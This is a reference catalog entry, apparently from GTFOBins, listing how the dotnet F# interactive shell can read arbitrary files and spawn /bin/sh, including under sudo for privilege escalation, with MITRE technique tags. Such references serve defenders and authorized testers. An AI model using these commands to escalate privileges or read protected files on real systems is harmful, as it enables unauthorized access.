CatalogGTFOBins

GTFO · Tool

dotnet

4 techniquesLinuxGTFOBinsGPL-3.0

file-read

File ReadPrivilege EscalationLinux
dotnet fsi
System.IO.File.ReadAllText("/path/to/input-file");;
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
sudo
Native
file-read
MITRE
T1005

file-read

File ReadLinux
dotnet fsi
System.IO.File.ReadAllText("/path/to/input-file");;
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
unprivileged
Native
file-read
MITRE
T1005

shell

ExecutionPrivilege EscalationLinux
dotnet fsi
System.Diagnostics.Process.Start("/bin/sh").WaitForExit();;
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
sudo
Native
shell
MITRE
T1059

shell

ExecutionLinux
dotnet fsi
System.Diagnostics.Process.Start("/bin/sh").WaitForExit();;
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
unprivileged
Native
shell
MITRE
T1059